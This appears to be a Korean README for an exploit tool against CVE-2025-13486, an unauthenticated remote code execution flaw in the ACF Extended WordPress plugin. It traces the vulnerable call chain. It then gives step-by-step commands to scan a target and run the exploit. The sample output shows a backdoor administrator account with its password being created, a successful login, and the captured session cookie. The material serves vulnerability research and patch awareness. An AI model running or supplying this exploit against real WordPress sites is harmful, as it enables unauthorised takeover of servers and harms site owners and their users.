CVE-2025-13486 익스플로잇

ACF Extended WordPress 플러그인 — 원격 코드 실행 및 권한 상승

Marcin Dudek (dudekmar)가 발견한 CVE-2025-13486 익스플로잇

⚠️ 면책 조항

이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.

---

📌 개요

WordPress용 Advanced Custom Fields: Extended (ACFE) 플러그인은 0.9.0.5부터 0.9.1.1까지의 버전에서 원격 코드 실행(RCE) 취약점에 노출됩니다.

취약점은 prepare_form() 함수에 존재하며, 이 함수는 사용자 제어 입력을 받아 적절한 검증 없이 call_user_func_array()로 전달합니다.

이로 인해 인증되지 않은 공격자가 서버에서 제한된 방식으로 임의의 PHP 코드를 실행할 수 있으며, 그럼에도 불구하고 관리자 계정을 생성하고 로그인하기에 충분합니다.

---

🔬 근본 원인 분석

취약점 체인은 다음과 같습니다.

1. includes/modules/form/module-form-front.php:24 -> wp_ajax_nopriv_acfe/form/render_form_ajax 액션이 render_form_ajax 핸들러를 트리거합니다.

2. includes/modules/form/module-form-front.php:492 -> acfe/form/prepare_form 필터가 적용되어 prepare_form() 함수를 호출합니다.

3. includes/modules/form/module-form-front-render.php:151 -> 사용자 제어 $form 데이터가 call_user_func_array()로 직접 전달됩니다.

---

🎯 익스플로잇

0. Python 종속성을 설치합니다:

   root@kitploit:~

   python3 -m venv venv
   venv/bin/pip install -r requirements.txt
   

1. 취약한 WordPress 대상을 식별합니다.

   대상에는 ACFE로 생성된 양식이 있는 페이지가 포함되어 있어야 합니다.

   root@kitploit:~

   venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
   

   출력 예:

   root@kitploit:~

   [2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
   [2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
   

2. --exploit 플래그를 사용하여 스크립트를 다시 실행합니다:

   root@kitploit:~

   venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
   

   출력 예:

   root@kitploit:~

   [2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
   [2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
   [2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
   [2025-12-19] [11:00:14] [success] Authentication succeded!
   [2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
   

---

📚 참고 자료

• https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-extended/advanced-custom-fields-extended-0905-0911-unauthenticated-remote-code-execution-in-prepare-form
• https://sploitus.com/exploit?id=13551590-2822-5E83-9737-F55F4B2F9F82